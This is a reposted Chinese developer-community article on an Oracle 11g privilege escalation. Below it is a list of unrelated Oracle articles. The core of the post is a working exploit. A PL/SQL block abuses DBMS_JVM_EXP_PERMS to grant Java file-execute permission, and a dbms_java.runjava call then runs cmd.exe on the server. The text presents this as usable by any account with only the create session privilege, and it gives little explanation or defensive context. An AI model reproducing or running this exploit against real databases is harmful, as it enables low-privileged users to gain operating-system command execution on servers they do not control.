AI 助理
备案控制台
开发者社区 数据库 文章 正文

oracle11g提权漏洞

2017-11-09 3532
版权
版权声明：
本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《 阿里云开发者社区用户服务协议》和 《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写 侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。
简介：

David Litchfield真是牛人中的牛人,oracle11g,只要是有create session权限的用户,就能执行系统命令：

DECLARE

POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','<>','execute','ENABLED'from dual;
  BEGIN
  OPEN C1;
  FETCH C1 BULK COLLECT INTO POL;
  CLOSE C1;
  DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
  END;
  /

select dbms_java.runjava(‘oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dir>c:\\out.lst’)from dual;

原处：http://www.notsosecure.com/folder2/2010/02/04/hacking-oracle-11g/

















本文转hackfreer51CTO博客，原文链接：http://blog.51cto.com/pnig0s1992/422582，如需转载请自行联系原作者

文章标签：
关系型数据库
Windows
安全
Oracle
技术小美
目录
相关文章
赵渝强老师
|
5天前
|
Oracle 关系型数据库 Linux
【赵渝强老师】Oracle数据库配置助手：DBCA
Oracle数据库配置助手（DBCA）是用于创建和配置Oracle数据库的工具，支持图形界面和静默执行模式。本文介绍了使用DBCA在Linux环境下创建数据库的完整步骤，包括选择数据库操作类型、配置存储与网络选项、设置管理密码等，并提供了界面截图与视频讲解，帮助用户快速掌握数据库创建流程。
赵渝强老师
170 93
1436047922066202
|
2月前
|
存储 Oracle 关系型数据库
服务器数据恢复—光纤存储上oracle数据库数据恢复案例
一台光纤服务器存储上有16块FC硬盘，上层部署了Oracle数据库。服务器存储前面板2个硬盘指示灯显示异常，存储映射到linux操作系统上的卷挂载不上，业务中断。 通过storage manager查看存储状态，发现逻辑卷状态失败。再查看物理磁盘状态，发现其中一块盘报告“警告”，硬盘指示灯显示异常的2块盘报告“失败”。 将当前存储的完整日志状态备份下来，解析备份出来的存储日志并获得了关于逻辑卷结构的部分信息。
1436047922066202
65 4
蓝易云
|
17天前
|
SQL Oracle 关系型数据库
Oracle数据库创建表空间和索引的SQL语法示例
以上SQL语法提供了一种标准方式去组织Oracle数据库内部结构，并且通过合理使用可以显著改善查询速度及整体性能。需要注意，在实际应用过程当中应该根据具体业务需求、系统资源状况以及预期目标去合理规划并调整参数设置以达到最佳效果。
蓝易云
75 8
蓝易云
|
2月前
|
SQL Oracle 关系型数据库
比较MySQL和Oracle数据库系统，特别是在进行分页查询的方法上的不同
两者的性能差异将取决于数据量大小、索引优化、查询设计以及具体版本的数据库服务器。考虑硬件资源、数据库设计和具体需求对于实现优化的分页查询至关重要。开发者和数据库管理员需要根据自身使用的具体数据库系统版本和环境，选择最合适的分页机制，并进行必要的性能调优来满足应用需求。
蓝易云
106 11
1436047922066202
|
2月前
|
Oracle 关系型数据库 数据库
数据库数据恢复—服务器异常断电导致Oracle数据库报错的数据恢复案例
Oracle数据库故障： 某公司一台服务器上部署Oracle数据库。服务器意外断电导致数据库报错，报错内容为“system01.dbf需要更多的恢复来保持一致性”。该Oracle数据库没有备份，仅有一些断断续续的归档日志。 Oracle数据库恢复流程： 1、检测数据库故障情况； 2、尝试挂起并修复数据库； 3、解析数据库文件； 4、导出并验证恢复的数据库文件。
1436047922066202
50 0
赵渝强老师
|
2月前
|
存储 Oracle 关系型数据库
【赵渝强老师】Oracle RMAN的目录数据库
Oracle RMAN默认将备份元信息存储在控制文件中，但控制文件损坏或丢失会导致恢复失败，且备份增多会使控制文件无限增长。为解决这些问题，Oracle引入了RMAN目录数据库（Catalog Database），专门用于存储RMAN备份的元信息。使用目录数据库可提升备份管理效率，支持多数据库共享、长期备份历史记录存储，并可保存RMAN脚本。本文详细介绍了如何创建目录数据库、注册目标数据库及其操作步骤。
赵渝强老师
75 0
蓝易云
|
5月前
|
Oracle 安全 关系型数据库
【Oracle】使用Navicat Premium连接Oracle数据库两种方法
以上就是两种使用Navicat Premium连接Oracle数据库的方法介绍，希望对你有所帮助！
蓝易云
1135 28
1436047922066202
|
3月前
|
存储 Oracle 关系型数据库
oracle数据恢复—oracle数据库执行错误truncate命令的数据恢复案例
oracle数据库误执行truncate命令导致数据丢失是一种常见情况。通常情况下，oracle数据库误操作删除数据只需要通过备份恢复数据即可。也会碰到一些特殊情况，例如数据库备份无法使用或者还原报错等。下面和大家分享一例oracle数据库误执行truncate命令导致数据丢失的数据库数据恢复过程。
1436047922066202
149 0
赵渝强老师
|
5月前
|
SQL Oracle 关系型数据库
【赵渝强老师】Oracle的闪回数据库
Oracle闪回数据库功能类似于“倒带按钮”，可快速将数据库恢复至 earlier 状态，无需还原备份。本文介绍了闪回数据库的使用方法及实战案例：包括设置归档模式、开启闪回功能、记录SCN号、执行误操作后的恢复步骤等。通过具体 SQL 操作演示了如何利用闪回数据库恢复被误删的用户数据。注意，使用此功能前需确保数据库为归档模式。
赵渝强老师
159 9
赵渝强老师
|
6月前
|
Oracle 关系型数据库 数据库
【赵渝强老师】Oracle数据库的闪回表
本文介绍了Oracle数据库中的闪回表（Flashback Table）功能，它能够将表的数据快速恢复到特定时间点或系统改变号（SCN），无需备份。文章通过实战示例详细演示了如何使用闪回表恢复数据，包括授权、创建测试表、记录时间与SCN号、删除数据、启用行移动功能、执行闪回操作以及验证恢复结果等步骤。同时，还展示了如何通过触发器禁止插入操作，并在闪回过程中处理触发器的启用问题。文末附有视频讲解，帮助读者更好地理解闪回表的使用方法。
赵渝强老师
229 10